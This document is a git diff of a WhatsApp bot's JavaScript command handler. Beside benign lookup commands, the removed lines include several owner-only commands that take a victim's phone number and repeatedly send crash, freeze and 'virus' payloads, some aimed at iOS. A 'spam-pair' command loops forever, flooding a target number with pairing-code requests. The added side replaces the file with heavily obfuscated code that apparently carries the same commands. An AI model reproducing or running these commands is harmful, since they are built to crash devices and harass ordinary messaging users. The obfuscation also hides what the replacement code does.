- caption: fontx(`๐ *Pinterest Result*\n${q}\n> ${caption}`)
- }, {
- quoted: m
- });
- }
- } catch (error) {
- console.error("Error in Pinterest case:", error);
- reply("An error occurred while fetching Pinterest results. Please try again later.");
- }
- break;
- }
- case 'element': {
- if (!q) return reply(`\`provide an element name/symbol\`.\nExample: ${prefix + command} bohrium`);
- await loading();
- try {
- const apiUrl = `https://api.popcat.xyz/periodic-table?element=${encodeURIComponent(q)}`;
- const response = await fetch(apiUrl);
- const data = await response.json();
- if (!data || !data.name) {
- return reply("Invalid element name or symbol. Please check your input.");
- }
- const {
- name,
- symbol,
- atomic_number,
- atomic_mass,
- period,
- phase,
- discovered_by,
- image,
- summary
- } = data;
- await conn.sendMessage(m.chat, {
- image: {
- url: image
- },
- caption: fontx(`๐งช *Periodic Table Element*\n${readmore}\n๐น *Name*: ${name}\n๐น *Symbol*: ${symbol}\n๐น *Atomic Number*: ${atomic_number}\n๐น *Atomic Mass*: ${atomic_mass}\n๐น *Period*: ${period}\n๐น *Phase*: ${phase}\n๐น *Discovered By*: ${discovered_by}\n\n๐ *Summary*: ${summary}\n> ${caption}`),
- }, {
- quoted: m
- });
- } catch (error) {
- console.error("Error in elements case:", error);
- reply("An error occurred while fetching element details. Please try again later.");
- }
- break;
- }
- case 'randomcolor': {
- await loading();
- try {
- const apiUrl = `https://api.popcat.xyz/randomcolor`;
- const response = await fetch(apiUrl);
- const data = await response.json();
- if (!data || !data.hex || !data.name) {
- return reply("Failed to fetch a random color. Please try again later.");
- }
- const {
- hex,
- name,
- image
- } = data;
- await conn.sendMessage(m.chat, {
- image: {
- url: image
- },
- caption: fontx(`๐จ *Random Color*\n\n๐น *Name*: ${name}\n๐น *HEX*: #${hex}\n\n> ${caption}`),
- }, {
- quoted: m
- });
-
- } catch (error) {
- console.error("Error in randomcolor case:", error);
- reply("An error occurred while fetching a random color. Please try again later.");
- }
- break;
- }
-case 'npmstalk': case 'npmcheck': {
- if (!q) return reply("โ Please provide an NPM package name.\n\nExample: *!npmstalk express*");
-
- await loading();
- let apiUrl = `https://api-xx-xi.hf.space/api/npmcheck?package=${encodeURIComponent(q)}`;
-
- try {
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.success) {
- return reply("โ Package not found. Please check the package name and try again.");
- }
-
- let npmInfo = fontx(`๐ฆ *NPM Package Info*\n\n`) +
- fontx(`๐ *Package:* ${json.package}\n`) +
- fontx(`๐ *Version:* ${json.version}\n`) +
- fontx(`๐
*Published:* ${json.publishedDate}\n`) +
- fontx(`๐ *Version Count:* ${json.versionNumber}\n`) +
- fontx(`๐ *Dependents:* ${json.dependentsCount}\n`) +
- fontx(`๐ *Dependencies:* ${json.dependenciesCount}\n> ${caption}`);
-
- conn.sendMessage(m.chat, {
- image: { url: json.codetypeimg },
- caption: npmInfo
- }, { quoted: m });
-
- } catch (error) {
- console.error("Error fetching NPM package info:", error);
- reply("โ An error occurred while retrieving the package details. Please try again later.");
- }
- break;
-}
-case 'wachannel': {
- if (!q) return reply("โ Please provide a WhatsApp Channel link.\n\nExample: .wachannel ");
-
- await loading();
- let apiUrl = `https://api-xx-xi.hf.space/api/wachannel?url=${encodeURIComponent(q)}`;
-
- try {
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.success) {
- return reply("โ Channel not found. Please check the link and try again.");
- }
-
- let channelInfo = fontx(`๐ข *WhatsApp Channel Info*\n\n`) +
- fontx(`๐ *Name:* ${json.data.name}\n`) +
- fontx(`๐ฅ *Followers:* ${json.data.followers}\n`) +
- fontx(`๐ *Description:* ${json.data.description}\n> ${caption}`);
-
- conn.sendMessage(m.chat, {
- image: { url: json.data.image },
- caption: channelInfo
- }, { quoted: m });
-
- } catch (error) {
- console.error("Error fetching WhatsApp Channel info:", error);
- reply("โ An error occurred while retrieving the channel details. Please try again later.");
- }
- break;
-}
-case 'country': {
- if (!q) return reply("โ Please provide a country name.\n\nExample: *!country Nigeria*");
-
- await loading();
- let apiUrl = `https://api-xx-xi.hf.space/api/country?q=${encodeURIComponent(q)}`;
-
- try {
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.success) {
- return reply("โ Country not found. Please check the spelling and try again.");
- }
-
- let countryInfo = fontx(`๐ *Country Information*\n\n`) +
- fontx(`๐ *Name:* ${json.data.name}\n`) +
- fontx(`๐๏ธ *Capital:* ${json.data.capital}\n`) +
- fontx(`๐ *Phone Code:* ${json.data.phoneCode}\n`) +
- fontx(`๐ฐ *Currency:* ${json.data.currency}\n`) +
- fontx(`๐ *Driving Side:* ${json.data.drivingSide}\n`) +
- fontx(`๐ *Internet TLD:* ${json.data.internetTLD}\n`) +
- fontx(`๐ *Location:* [Google Maps](${json.data.googleMapsLink})\n`) +
- fontx(`๐บ๏ธ *Continent:* ${json.data.continent.emoji} ${json.data.continent.name}`);
-
- conn.sendMessage(m.chat, {
- image: { url: json.data.flag },
- caption: countryInfo
- }, { quoted: m });
-
- } catch (error) {
- console.error("Error fetching country info:", error);
- reply("โ An error occurred while retrieving country details. Please try again later.");
- }
- break;
-}
- case 'listcase': case 'allcase': {
- reply(listCase())
- }
- break;
- case 'bing': {
- if (!q) return reply("Please provide a search query.");
- try {
- await loading();
- const apiUrl = `https://api.siputzx.my.id/api/s/bimg?query=${encodeURIComponent(q)}`;
- const response = await fetch(apiUrl);
- const res = await response.json();
- if (!res.status || !res.data || res.data.length === 0) {
- return reply("No images found for your query. Please try again later.");
- }
- const imageUrl = res.data[0];
- await conn.sendMessage(from, {
- image: {
- url: imageUrl
- },
- caption: fontx(`๐ *bing Image Search Results for:* "${q}"\n> ${caption}`),
- });
-
- } catch (error) {
- console.error("Error in bing case:", error);
- reply("An error occurred while fetching the images. Please try again later.");
- }
- break;
- }
-case 'brave': {
- if (!q) return reply("โ Please enter a search query.\n\nExample: .brave github");
- await loading();
-
- let apiUrl = `https://api.siputzx.my.id/api/s/brave?query=${encodeURIComponent(q)}`;
-
- try {
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.status || !json.data.results.length) {
- return reply("โ No search results found. Try another query.");
- }
-
- let searchResults = json.data.results.slice(0, 5); // Show top 5 results
- let totalResults = json.data.metadata.totalResults;
- let timestamp = new Date().toLocaleString();
-
- let message = `๐ *Brave Search Results*\n๐
*Checked On:* ${timestamp}\n๐ *Total Results:* ${totalResults}\n\n`;
-
- searchResults.forEach((result, index) => {
- message += `๐น *${index + 1}. ${fontx(result.title)}*\n`;
- message += `๐ ${fontx(result.description)}\n`;
- message += `๐ ${result.siteName}\n`;
- if (result.date) message += `๐
${result.date}\n`;
- message += "\n";
- });
-
- conn.sendMessage(m.chat, {
- text: message
- }, { quoted: m });
-
- } catch (error) {
- console.error("Error fetching Brave search results:", error);
- reply("โ Error while fetching search results. Try again later.");
- }
- break;
-}
- case 'checkip': {
- if (!q) return reply(`\`Please provide an IP address.\`\n*Example: .checkip 8.8.8.8*`);
- await loading()
- try {
- // API Endpoint
- const apiUrl = `https://ipinfo.io/${encodeURIComponent(q)}/json?token=022a73cf539237`;
- const response = await fetchJson(apiUrl);
-
- if (!response || response.error) {
- return reply("Failed to fetch IP information. Please check the IP address and try again.");
- }
- const {
- ip,
- hostname,
- city,
- region,
- country,
- loc,
- postal,
- timezone,
- asn,
- company,
- privacy,
- abuse,
- domains,
- } = response;
- const replyMessage = `*IP Information*\n\n` +
- `โ *IP:* ${ip || 'N/A'}\n` +
- `โ *Hostname:* ${hostname || 'N/A'}\n` +
- `โ *City:* ${city || 'N/A'}\n` +
- `โ *Region:* ${region || 'N/A'}\n` +
- `โ *Country:* ${country || 'N/A'}\n` +
- `โ *Location (Lat, Long):* ${loc || 'N/A'}\n` +
- `โ *Postal Code:* ${postal || 'N/A'}\n` +
- `โ *Timezone:* ${timezone || 'N/A'}\n` +
- `โ *ASN:* ${asn?.asn || 'N/A'}\n` +
- `โ *ASN Name:* ${asn?.name || 'N/A'}\n` +
- `โ *ASN Domain:* ${asn?.domain || 'N/A'}\n` +
- `โ *Company Name:* ${company?.name || 'N/A'}\n` +
- `โ *Company Domain:* ${company?.domain || 'N/A'}\n` +
- `โ *VPN:* ${privacy?.vpn ? 'Yes' : 'No'}\n` +
- `โ *Proxy:* ${privacy?.proxy ? 'Yes' : 'No'}\n` +
- `โ *TOR:* ${privacy?.tor ? 'Yes' : 'No'}\n` +
- `โ *Relay:* ${privacy?.relay ? 'Yes' : 'No'}\n` +
- `โ *Abuse Contact Name:* ${abuse?.name || 'N/A'}\n` +
- `โ *Abuse Contact Email:* ${abuse?.email || 'N/A'}\n` +
- `โ *Abuse Contact Phone:* ${abuse?.phone || 'N/A'}\n` +
- `โ *Domains Linked:* ${domains?.total || 'N/A'}\n` +
- `โ *Example Domains:* ${(domains?.domains || []).slice(0, 5).join(', ') || 'N/A'}\n`;
- reply(replyMessage);
- } catch (error) {
- console.error("Error in checkip case:", error);
- reply("An error occurred while fetching the IP information. Please try again later.");
- }
- break;
- }
- case 'devil': {
- if (!isOwner) return reply(mess.only.owner)
- if (!q) return reply(`Example: ${prefix + command} 234###`)
- target = q.replace(/[^0-9]/g, '') + "@s.whatsapp.net"
- reply(`๐ธ๏ธ ๐๐๐๐ ๐ ๐๐๐๐๐ ๐๐
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- for (let i = 0; i < 20; i++) {
- await crashcursor(target, Ptcp = true)
- await crashcursor(target, Ptcp = true)
- await crashcursor(target, Ptcp = true)
- await crashcursor(target, Ptcp = true)
- await crashcursor(target, Ptcp = true)
- await crashcursor(target, Ptcp = true)
- await bugnew(target, Ptcp = true)
- await bugnew(target, Ptcp = true)
- await bugnew(target, Ptcp = true)
- await bugnew(target, Ptcp = true)
- await bugnew(target, Ptcp = true)
- }
- reply(`๐๐๐๐๐๐ ๐๐๐๐๐๐๐๐๐๐ ๐ฉธ
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- }
- break;
- case 'void': {
- if (!isOwner) return reply(mess.only.owner)
- if (!q) return reply(`Example: ${prefix + command} 234###`)
- await loadingx()
- target = q.replace(/[^0-9]/g, '') + "@s.whatsapp.net"
- reply(`๐ธ๏ธ ๐๐๐๐ ๐ ๐๐๐๐๐ ๐๏ฟฝ๏ฟฝ๏ฟฝ
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- for (let i = 0; i < 20; i++) {
- await crashcursor(target, Ptcp = true)
- await bugnew(target, Ptcp = true)
- await buginvite(target, Ptcp = true)
- await buginvite(target, Ptcp = true)
- await systemUi(target, Ptcp = true)
- await systemUi(target, Ptcp = true)
- await XeonXRobust(target, ptcp = true)
- await XeonXRobust(target, ptcp = true)
- await XeonXRobust(target, ptcp = true)
- await crashcursor(target, Ptcp = true)
- await bugnew(target, Ptcp = true)
- await crashcursor(target, Ptcp = true)
- await bugnew(target, Ptcp = true)
- }
- reply(`๐๐๐๐๐๐ ๐๐๐๐๐๐๐๐๐๐ ๐ฉธ
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- }
- break;
- case 'null': {
- if (!isOwner) return reply(mess.only.owner)
- if (!q) return reply(`Example: ${prefix + command} 234###`)
- await loadingx()
- target = q.replace(/[^0-9]/g, '') + "@s.whatsapp.net"
- reply(`๐ธ๏ธ ๐๐๐๐ ๐ ๐๐๐๐๐ ๐๐
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- for (let i = 0; i < 20; i++) {
- await crashcursor(target, ptcp = true)
- await crashcursor(target, ptcp = true)
- await crashcursor(target, ptcp = true)
- await crashcursor(target, ptcp = true)
- await XeonXRobust(target, ptcp = true)
- await bugnew(target, ptcp = true)
- await Fuckui(target)
- await InvisibleLoadFast(target)
- await mati2(target)
- await crashcursor(target, ptcp = true)
- await crashcursor(target, ptcp = true)
- await crashcursor(target, ptcp = true)
- await crashcursor(target, ptcp = true)
- }
- reply(`๐๐๐๐๐๐ ๐๐๐๐๐๐๐๐๐๐ ๐ฉธ
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- }
- break;
- case 'dojutsu': {
- if (!isOwner) return reply(mess.only.owner)
- if (!q) return reply(`Example: ${prefix + command} 234###`)
- await loadingx()
- target = q.replace(/[^0-9]/g, '') + "@s.whatsapp.net"
- reply(`๐ธ๏ธ ๐๐๐๐ ๐ ๐๐๐๐๐ ๐๐
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- for (let i = 0; i < 20; i++) {
- await crashcursor(target, ptcp = true)
- await crashcursor(target, ptcp = true)
- await crashcursor(target, ptcp = true)
- await crashcursor(target, ptcp = true)
- await hardfreeze(target, ptcp = true)
- await betacrash(target, ptcp = true)
- await BlankScreen(target, Ptcp = true)
- await crashcursor(target, ptcp = true)
- await InfiNite(target, Ptcp = true)
- await crashcursor(target, ptcp = true)
- await crashcursor(target, ptcp = true)
- await crashcursor(target, ptcp = true)
- }
- reply(`๐๐๐๐๐๐ ๐๐๐๐๐๐๐๐๐๐ ๐ฉธ
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- }
- break;
- case 'betai':
- case 'betax':
- if (!isOwner) return reply(mess.only.owner)
- await loadingx()
- reply(`๐ธ๏ธ ๐๐๐๐ ๐ ๐๐๐๐๐ ๐๐
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- for (let i = 0; i < 10; i++) {
- await crashcursor(m.chat, Ptcp = true)
- await InfiNite(m.chat, cct = true, ptcp = true)
- await crashcursor(m.chat, Ptcp = true)
- await BlankScreen(m.chat, Ptcp = true)
- await crashcursor(m.chat, Ptcp = true)
- await systemUi(m.chat, Ptcp = true)
- await crashcursor(m.chat, Ptcp = true)
- await XeonXRobust(m.chat, ptcp = true)
- await crashcursor(m.chat, Ptcp = true)
- await freezefile1(m.chat, ptcp = true)
- await crashcursor(m.chat, Ptcp = true)
- await buginvite(m.chat, Ptcp = true)
- await crashcursor(m.chat, Ptcp = true)
- await systemUi(m.chat, Ptcp = true)
- await crashcursor(m.chat, Ptcp = true)
- await crashcursor(m.chat, Ptcp = true)
- await crashcursor(m.chat, Ptcp = true)
- }
- reply(`๐๐๐๐๐๐ ๐๐๐๐๐๐๐๐๐๐ ๐ฉธ
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- break;
- case 'xbeta':
- if (!isOwner) return reply(mess.only.owner)
-
- if (!q) return reply(`Example: ${prefix + command} 234###`)
- await loadingx()
- target = q.replace(/[^0-9]/g, '') + "@s.whatsapp.net"
- reply(`๐ธ๏ธ ๐๐๐๐ ๐ ๐๐๐๐๐ ๐๐
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- for (let i = 0; i < 10; i++) {
- await crashcursor(target, Ptcp = true)
- await InfiNite(target, cct = true, ptcp = true)
- await crashcursor(target, Ptcp = true)
- await BlankScreen(target, Ptcp = true)
- await crashcursor(target, Ptcp = true)
- await systemUi(target, Ptcp = true)
- await crashcursor(target, Ptcp = true)
- await XeonXRobust(target, ptcp = true)
- await crashcursor(target, Ptcp = true)
- await crashcursor(target, Ptcp = true)
- await buginvite(target, Ptcp = true)
- await crashcursor(target, Ptcp = true)
- await systemUi(target, Ptcp = true)
- await crashcursor(target, Ptcp = true)
- await crashcursor(target, Ptcp = true)
- await crashcursor(target, Ptcp = true)
- }
- reply(`๐๐๐๐๐๐ ๐๐๐๐๐๐๐๐๐๐ ๐ฉธ
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- break;
- case 'dead-ios': {
- if (!isOwner) return reply(mess.only.owner)
-
- if (!q) return reply(`Example: ${prefix + command} 234###`)
- await loadingx()
- target = q.replace(/[^0-9]/g, '') + "@s.whatsapp.net"
- reply(`๐ธ๏ธ ๐๐๐๐ ๐ ๐๐๐๐๐ ๐๐
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- for (let i = 0; i < 20; i++) {
- await SmCrash(target)
- await AppXCrash(target)
- await VenCrash(target)
- await UpiCrash(target)
- }
- reply(`๐๐๐๐๐๐ ๐๐๐๐๐๐๐๐๐๐ ๐ฉธ
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- }
- break;
- case 'fake-ios': {
- if (!isOwner) return reply(mess.only.owner)
-
- if (!q) return reply(`Example: ${prefix + command} 234###`)
- await loadingx()
- target = q.replace(/[^0-9]/g, '') + "@s.whatsapp.net"
- reply(`๐ธ๏ธ ๐๐๐๐ ๐ ๐๐๐๐๐ ๐๐
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- for (let i = 0; i < 20; i++) {
- await QPayIos(target)
- await caywzzaja_notif(target)
- await QXIphone(target)
- await FBiphone(target)
- }
- reply(`๐๐๐๐๐๐ ๐๐๐๐๐๐๐๐๐๐ ๐ฉธ
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- }
- break;
- case 'sharingan':
- if (!isOwner) return reply(mess.only.owner)
-
- await loadingx()
- reply(`๐ธ๏ธ ๐๐๐๐ ๐ ๐๐๐๐๐ ๐๐
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- for (let i = 0; i < 10; i++) {
- await mati2(m.chat, Ptcp = true)
- await mati2(m.chat, cct = true, ptcp = true)
- await mati2(m.chat, Ptcp = true)
- await bugnew(m.chat, Ptcp = true)
- await SendPairingr(m.chat, Ptcp = false)
- await mati2(m.chat, Ptcp = true)
- }
- reply(`๐๐๐๐๐๐ ๐๐๐๐๐๐๐๐๐๐ ๐ฉธ
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- break;
- case 'spam-pair': {
- if (!isOwner) return reply(mess.only.owner)
-
- if (!q) return reply(`Example: ${prefix + command} 234###`)
- let target = q.replace(/[^0-9]/g, '').trim()
- reply(`๐ธ๏ธ ๐๐๐๐ ๐ ๐๐๐๐๐ ๐๐
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- let {
- default: makeWaSocket,
- useMultiFileAuthState,
- fetchLatestBaileysVersion
- } = require('@whiskeysockets/baileys')
- let {
- state
- } = await useMultiFileAuthState('pepek')
- let {
- version
- } = await fetchLatestBaileysVersion()
-
- let sucked = await makeWaSocket({
- auth: state,
- version,
- logger: pino({
- level: 'fatal'
- })
- })
-
- for (;;) {
- for (let i = 0; i < 48; i++) {
- await sleep(1000)
- let prc = await sucked.requestPairingCode(target)
- await console.log(`# Succes Spam Pairing Code - Number : ${target} - Code : ${prc}`)
- }
- await sleep(15000)
- }
- }
- break;
- case 'xios': {
- if (!isOwner) return reply(mess.only.owner)
-
- if (!q) return reply(`Example: ${prefix + command} 234###`)
- await loadingx()
- target = q.replace(/[^0-9]/g, '') + "@s.whatsapp.net"
- reply(`๐ธ๏ธ ๐๐๐๐ ๐ ๐๐๐๐๐ ๐๐
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- for (let i = 0; i < 10; i++) {
- await XeonIosNew(target)
- await XeonIosPayOld(target)
- await XeonIosOld(target)
- await crashcursor(target)
- await crashcursor(target)
- await XeonIosNew(target)
- await XeonIosPayOld(target)
- }
- reply(`๐๐๐๐๐๐ ๐๐๐๐๐๐๐๐๐๐ ๐ฉธ
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- }
- break;
- case 'xeo-ios': {
- if (!isOwner) return reply(mess.only.owner)
-
- if (!q) return reply(`Example: ${prefix + command} 234###`)
- await loadingx()
- target = q.replace(/[^0-9]/g, '') + "@s.whatsapp.net"
- reply(`๐ธ๏ธ ๐๐๐๐ ๐ ๐๐๐๐๐ ๐๐
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- for (let i = 0; i < 20; i++) {
- await XiosVirus(target)
- await IosMJ(target, Ptcp = true)
- await QDIphone(target)
- await QPayStriep(target)
- }
- reply(`๐๐๐๐๐๐ ๐๐๐๐๐๐๐๐๐๐ ๐ฉธ
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- }
- break;
- case 'xpayios': {
- if (!isOwner) return reply(mess.only.owner)
-
- if (!q) return reply(`Example: ${prefix + command} 234###`)
- await loadingx()
- target = q.replace(/[^0-9]/g, '') + "@s.whatsapp.net"
- reply(`๐ธ๏ธ ๐๐๐๐ ๐ ๐๐๐๐๐ ๐๐
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- for (let i = 0; i < 20; i++) {
- await SmCrash(target)
- await AppXCrash(target)
- await VenCrash(target)
- await UpiCrash(target)
- await SmCrash(target)
- await AppXCrash(target)
- await VenCrash(target)
- await UpiCrash(target)
- await QPayIos(target)
- await caywzzaja_notif(target)
- await QXIphone(target)
- await FBiphone(target)
- await XiosVirus(target)
- await IosMJ(target, Ptcp = true)
- await QDIphone(target)
- await QPayStriep(target)
- }
- reply(`๐๐๐๐๐๐ ๐๐๐๐๐๐๐๐๐๐ ๐ฉธ
-๐ธ๏ธ ๐๐๐๐๐๐ : ${target}
-๐ธ๏ธ ๐๐๐๐๐ : ${command}`)
- }
- break;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- default:
- }
- if (!isGroup && user && isPremium && new Date - user.pc < 86400000) {} else if (!isGroup && user && isPremium && !itsMe) {
- reply(`${ucapanWaktu} *${pushname}* how can i help you? please type *${prefix}menu*`)
- user.pc = new Date * 1
- }
- if (global.badword === true && bad.some(word => budy.toLowerCase().includes(word.toLowerCase()))) {
- if (cekSpam("NotCase", senderNumber, AntiSpam)) return;
-
- addSpam("NotCase", senderNumber, "10s", AntiSpam);
-
- if (isGroup) {
- if (isBotGroupAdmins) {
- await conn.sendMessage(from, {
- delete: {
- remoteJid: from,
- fromMe: false,
- id: m.key.id,
- participant: m.sender,
- },
- });
-
- await conn.sendMessage(from, {
- text: `*Warning: Badwords are prohibited in this group.*\nYour message has been deleted.`,
- }, {
- quoted: m
- });
- } else {
- await conn.sendMessage(from, {
- text: `*Warning: Badwords are prohibited in this group.*\nI don't have admin privileges to delete the message.`,
- }, {
- quoted: m
- });
- }
- } else {
- await conn.sendMessage(from, {
- text: `*Warning: Badwords are prohibited.*\nPlease refrain from using inappropriate language.`,
- }, {
- quoted: m
- });
- }
- }
- } catch (err) {
- console.log(err)
- if (isCmd) Failed(toFirstCase(command), dash)
- let e = util.format(err)
- if (err.message.includes("Cannot find module")) {
- let module = err.message.split("Cannot find module '")[1].split("'")[0]
- let teks = `Module ${module} has not been installed
-Please install it first`
- return await conn.sendText(dev.key.remoteJid, teks, dev)
- }
- await conn.sendText(Ownerin, `]โโโโโใ *SYSTEM-ERROR* ใโโโโโ[\n\n${e}\n\nยฉ ${botName}`, dev)
- }
- } catch (err) {
- console.log(chalk.bgRed(color("[ ERROR ]", "black")), util.format(err))
- let e = String(err)
- if (e.includes("this.isZero")) {
- return
- }
- if (e.includes("rate-overlimit")) {
- if (!publik) return
- publik = false
- await conn.sendMessage(botNumber + "@s.whatsapp.net", {
- text: `Rate-overlimit occurred
-The bot has switched from public mode to Self mode
-To avoid excessive spam,
-Please wait 1 minute until all messages
-have been read by the bot`
- })
- await setTimeout(() => {
- publik = true
- conn.sendMessage(botNumber + "@s.whatsapp.net", {
- text: `Successfully changed self mode to public mode`
- })
- }, 60000)
- return
- }
- if (e.includes('Connection Closed')) {
- return
- }
- if (e.includes('Timed Out')) {
- return
- }
- if (e.includes('Value not found')) {
- return
- }
- console.log(color('Message Error : %s', 'white'), color(util.format(e), 'green'))
- if (Console) {
- conn.sendMessage(Ownerin, {
- text: util.format(e)
- })
- }
- }
-}
-let file = require.resolve(__filename)
-fs.watchFile(file, () => {
- fs.unwatchFile(file)
- console.log(chalk.bgGreen(color("[ UPDATE ]", "black")), chalk.white(`${__filename}`))
- delete require.cache[file]
- require(file)
-})
\ No newline at end of file
+const _0x4b4b65=_0x5435;(function(_0x377349,_0x32471c){const _0x4fc27c=_0x5435,_0x2b02bf=_0x377349();while(!![]){try{const _0x1fe8e1=-parseInt(_0x4fc27c(0x550))/0x1+-parseInt(_0x4fc27c(0x308))/0x2*(-parseInt(_0x4fc27c(0x198))/0x3)+parseInt(_0x4fc27c(0x56a))/0x4+parseInt(_0x4fc27c(0x52f))/0x5+-parseInt(_0x4fc27c(0x547))/0x6*(-parseInt(_0x4fc27c(0x2ae))/0x7)+parseInt(_0x4fc27c(0x57e))/0x8*(parseInt(_0x4fc27c(0x54b))/0x9)+-parseInt(_0x4fc27c(0x5e5))/0xa*(parseInt(_0x4fc27c(0x2c7))/0xb);if(_0x1fe8e1===_0x32471c)break;else _0x2b02bf['push'](_0x2b02bf['shift']());}catch(_0x8cffe4){_0x2b02bf['push'](_0x2b02bf['shift']());}}}(_0x2f7c,0xd308c));const chalk=require(_0x4b4b65(0x560)),pino=require('pino'),fs=require('fs'),{Sticker,StickerTypes}=require('wa-sticker-formatter'),moment=require(_0x4b4b65(0x1dc)),util=require('util'),crypto=require(_0x4b4b65(0x236)),{exec,spawn,execSync}=require(_0x4b4b65(0x418)),axios=require('axios'),yts=require('yt-search'),speed=require(_0x4b4b65(0x385)),ms=require(_0x4b4b65(0x405)),os=require('os');let platform=os[_0x4b4b65(0x540)](),arch=os[_0x4b4b65(0x55a)]();function _0x5435(_0x53f58c,_0x29392c){const _0x2f7ce1=_0x2f7c();return _0x5435=function(_0x543523,_0x54d432){_0x543523=_0x543523-0x14d;let _0x11c5c9=_0x2f7ce1[_0x543523];return _0x11c5c9;},_0x5435(_0x53f58c,_0x29392c);}function _0x2f7c(){const _0x3ebf52=['../lib/totalcmd','public\x20\x0a>\x20','sound1','[KICK]','https://api.popcat.xyz/randomcolor','\x20Episode\x20','sound34','https://api-xx-xi.hf.space/api/wachannel?url=','API\x20responded\x20with\x20','now','*\x0aAnti\x20Delete\x20:\x20*','๐ฅ๏ธ\x20*APK\x20Details:*\x0a\x0a๐\x20*Title:\x20','kick\x0a>\x20','unmute','groupParticipantsUpdate','conf\x0a>\x20โโโโโโโโโโโโโโ\x0a\x0a>\x20โใ\x20`๐๐๐๐๐\x20๐๐๐๐`\x20ใ\x0a\x0a>\x20โโโโโโโโโโโโโโ\x0a\x0a>\x20โใ\x20`๐๐๐
๐\x20๐๐๐๐`\x20ใ\x0a>\x20','requestPairingCode','match','unmute\x0a>\x20','sound78','.\x20*','dojutsu','An\x20error\x20occurred\x20while\x20fetching\x20the\x20YouTube\x20search\x20results.','writeFileSync','sound57','request','\x0a๐
\x20*Uploaded:*\x20','https://api.qrserver.com/v1/create-qr-code/?size=300x300&data=','โ\x20Please\x20provide\x20a\x20valid\x20video\x20link.','Error\x20in\x20BLUE\x20Ai\x20case:','๐\x20*Phone\x20Code:*\x20','no_watermark','random','video','HH:mm','โ\x20*Domains\x20Linked:*\x20','mistral\x0a>\x20','โ\x20Channel\x20not\x20found.\x20Please\x20check\x20the\x20link\x20and\x20try\x20again.','script','โ\x20No\x20results\x20found\x20for\x20*','message','publishedDate','text/html','Bot\x20Has\x20Already\x20Joined\x20the\x20Groupโ','๐ฏ๏ธ','BEGIN:VCARD\x0aVERSION:3.0\x0aN:XL;menhera,;;;\x0aFN:\x20ehanz\x20Ai\x0aitem1.TEL;waid=','buttonsResponseMessage','Error\x20in\x20alive\x20case:','successfully\x20disabled\x20antivirtex!','\x0aโญ\x20*participants\x20length:*\x20','byteLength','apkfab\x0a>\x20','antilink\x0a>\x20โโโโโโโโโโโโโโ\x0a\x0a>\x20โใ\x20`๐
